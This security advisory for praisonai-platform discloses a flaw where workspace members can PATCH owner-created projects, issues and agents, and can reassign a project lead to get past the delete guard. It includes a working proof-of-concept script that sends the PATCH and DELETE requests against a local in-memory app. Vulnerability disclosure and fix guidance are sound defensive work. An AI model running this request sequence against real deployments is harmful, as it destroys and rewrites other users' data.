GHSA-c78w-2q4r-68r7 CVE-2026-61442 PYSEC-2026-4262
PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
- Severity
- 7.1 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.31%
- Chance of exploitation in the next 30 days. Higher than 24.02% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
0.1.9- Upgrade praisonai-platform to this version or later
Description
Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
Summary
praisonai-platform lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch lead_id to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned 403 before the reassignment.
Technical Details
The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". src/praisonai-platform/praisonai_platform/api/deps.py defines require_workspace_member, require_workspace_admin, require_workspace_owner, and require_delete_permission. require_workspace_member only checks that the caller has at least the member role in the workspace, while require_delete_permission allows delete only for workspace admins/owners or the resource owner.
The project update route in src/praisonai-platform/praisonai_platform/api/routes/projects.py defines PATCH /workspaces/{workspace_id}/projects/{project_id} with user: AuthIdentity = Depends(require_workspace_member). It passes title, description, status, lead_type, and lead_id into ProjectService.update. src/praisonai-platform/praisonai_platform/services/project_service.py then writes project.lead_id = lead_id when supplied. The paired project delete route first loads the project and calls require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id). This means an ordinary member can mutate the ownership field that the delete route later trusts.
The same update/delete asymmetry exists for issues and agents. src/praisonai-platform/praisonai_platform/api/routes/issues.py defines PATCH /workspaces/{workspace_id}/issues/{issue_id} with only require_workspace_member, validates referenced ids are in the workspace, then calls IssueService.update to write fields including title, description, status, priority, assignee_id, and project_id. The paired delete route checks resource_owner_id=issue.creator_id. src/praisonai-platform/praisonai_platform/api/routes/agents.py defines PATCH /workspaces/{workspace_id}/agents/{agent_id} with only require_workspace_member and calls AgentService.update to write fields including instructions, runtime_mode, and runtime_config; the paired delete route checks resource_owner_id=agent.owner_id.
The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.
PoV
the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service.
Essential excerpt:
direct_delete_project = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_project = await client.patch(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
json={
"title": "Member-controlled project",
"status": "active",
"lead_type": "member",
"lead_id": member_id,
},
headers=member_headers,
)
delete_project_after_takeover = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "Member rewrote owner issue", "status": "done"},
headers=member_headers,
)
patch_agent = await client.patch(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
json={"instructions": "member-controlled instructions", "status": "idle"},
headers=member_headers,
)
outsider_patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "outsider attempt"},
headers=outsider_headers,
)
The full PoV script is included in the appendix below as pov_platform_member_update_bypass.py.
PoC
Current head tested:
846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17T20:13:04+01:00
chore: clean up redundant 'persist-credentials' entries in GitHub workflows
Run against a local checkout of current head:
uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json
Decisive current-head output:
{
"source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
Run against the latest PyPI package observed during testing:
uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json
Decisive latest-PyPI output:
{
"source": "pypi:praisonai-platform==0.1.8",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
Version sweep excerpt:
praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.
praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
Impact
An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning lead_id through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.
Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L (7.1). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.
Suggested Fix
Apply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route's owner/admin check for PATCH routes, or introduce a require_update_permission helper that allows workspace admins/owners and the relevant resource owner only.
For projects, do not let an ordinary member set lead_id on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.
Add regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project lead_id to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives 403.
Affected Package/Versions
Affected package: pypi:praisonai-platform.
Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.
The owner/admin update authorization gap is confirmed in sampled versions 0.1.4, 0.1.6, 0.1.8, and current head. The specific project delete-guard bypass through lead_id reassignment is confirmed in 0.1.6, 0.1.8, and current head. In 0.1.4, direct member deletes already returned 204, so the lead-reassignment chain is masked by a broader older delete issue.
Suggested affected range for the update authorization gap: pypi:praisonai-platform >=0.1.4, <=0.1.8. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.
Advisory History
Visible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project lead_id delete-guard bypass.
GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with 403, then PATCH succeeds, then DELETE succeeds only after lead_id is reassigned through the update route.
GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.
GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning 403.
References
https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mhhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7xhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxxhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2jhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7https://cwe.mitre.org/data/definitions/862.htmlhttps://cwe.mitre.org/data/definitions/863.html
Appendix A - Longer Version Sweep
=== praisonai-platform 0.1.4 ===
"member_direct_project_delete_before_patch": 204
"member_project_patch_lead_to_self": 404
"member_issue_patch": 200
"member_agent_patch": 200
"member_issue_delete_after_patch": 204
"member_agent_delete_after_patch": 204
"non_member_issue_patch": 403
=== praisonai-platform 0.1.6 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403
=== praisonai-platform 0.1.8 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403
Appendix B - Full PoV Script
Save this as pov_platform_member_update_bypass.py before running the PoC commands above.
#!/usr/bin/env python3
"""PoV for PraisonAI Platform same-workspace member update bypass."""
from __future__ import annotations
import argparse
import asyncio
import json
import os
import sys
from pathlib import Path
from typing import Any
def _load_local_source(repo: Path | None) -> None:
if repo is None:
return
platform_root = repo / "src" / "praisonai-platform"
agents_root = repo / "src" / "praisonai-agents"
for path in (str(platform_root), str(agents_root)):
if path not in sys.path:
sys.path.insert(0, path)
async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
response = await client.post(
"/api/v1/auth/register",
json={"email": email, "password": "Password1!", "name": name},
)
if response.status_code >= 400:
raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}")
body = response.json()
return body["token"], body["user"]["id"]
async def _run(repo: Path | None) -> dict[str, Any]:
os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
_load_local_source(repo)
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
from praisonai_platform.api.app import create_app
from praisonai_platform.db import base as base_mod
from praisonai_platform.db.base import Base, reset_engine
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
member_token, member_id = await _register(client, "member@example.com", "Member")
outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")
owner_headers = {"Authorization": f"Bearer {owner_token}"}
member_headers = {"Authorization": f"Bearer {member_token}"}
outsider_headers = {"Authorization": f"Bearer {outsider_token}"}
ws_resp = await client.post(
"/api/v1/workspaces/",
json={"name": "Shared Workspace", "slug": "shared-workspace"},
headers=owner_headers,
)
ws_resp.raise_for_status()
workspace_id = ws_resp.json()["id"]
add_member = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={"user_id": member_id, "role": "member"},
headers=owner_headers,
)
add_member.raise_for_status()
project_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/projects/",
json={
"title": "Owner project",
"description": "Owned by the workspace owner",
"lead_type": "member",
"lead_id": owner_id,
},
headers=owner_headers,
)
project_resp.raise_for_status()
project_id = project_resp.json()["id"]
direct_delete_project = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_project = await client.patch(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
json={
"title": "Member-controlled project",
"status": "active",
"lead_type": "member",
"lead_id": member_id,
},
headers=member_headers,
)
delete_project_after_takeover = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
owner_get_deleted_project = await client.get(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=owner_headers,
)
issue_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/",
json={"title": "Owner issue", "priority": "high"},
headers=owner_headers,
)
issue_resp.raise_for_status()
issue_id = issue_resp.json()["id"]
patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "Member rewrote owner issue", "status": "done"},
headers=member_headers,
)
owner_get_issue = await client.get(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
headers=owner_headers,
)
delete_issue = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
headers=member_headers,
)
agent_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/agents/",
json={"name": "OwnerAgent", "instructions": "owner-only instructions"},
headers=owner_headers,
)
agent_resp.raise_for_status()
agent_id = agent_resp.json()["id"]
patch_agent = await client.patch(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
json={"instructions": "member-controlled instructions", "status": "idle"},
headers=member_headers,
)
owner_get_agent = await client.get(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
headers=owner_headers,
)
delete_agent = await client.delete(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
headers=member_headers,
)
outsider_patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "outsider attempt"},
headers=outsider_headers,
)
await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None
owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}
owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}
patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}
checks = {
"member_direct_project_delete_before_patch": direct_delete_project.status_code,
"member_project_patch_lead_to_self": patch_project.status_code,
"member_project_delete_after_lead_takeove…
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai-platform | < 0.1.9 |
0.1.9 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai-platform PyPI → 0.1.9
- pip
pip install --upgrade "praisonai-platform>=0.1.9"- poetry
poetry add "praisonai-platform>=0.1.9"- uv
uv add "praisonai-platform>=0.1.9"
Severity breakdown
CVSS 4.0 7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- Low
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 7.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Weakness
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xxgv-vgvj-qvxh PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization | High | Also affects praisonai-platform |
| GHSA-mxmx-rh57-jx58 PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues | High | Also affects praisonai-platform |
| GHSA-2fjj-qqg8-fg7x praisonai-platform: Authorization Bypass Through User-Controlled Key | Medium | Also affects praisonai-platform |
| GHSA-cwj8-7gp2-ggcw praisonai-platform: default JWT signing secret 'dev-secret-change-me' enables token forgery | Critical | Also affects praisonai-platform |
| GHSA-f38v-77qj-h4jq praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard) | Critical | Also affects praisonai-platform |
| GHSA-rh39-9c67-59mh PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API | High | Also affects praisonai-platform |
| GHSA-7p8g-6c6g-h9w7 praisonai-platform: Agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete IDOR | High | Also affects praisonai-platform |
| GHSA-g8rr-7rj2-f627 praisonai-platform: Any workspace member can delete the entire workspace via DELETE /workspaces/{id} | High | Also affects praisonai-platform |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor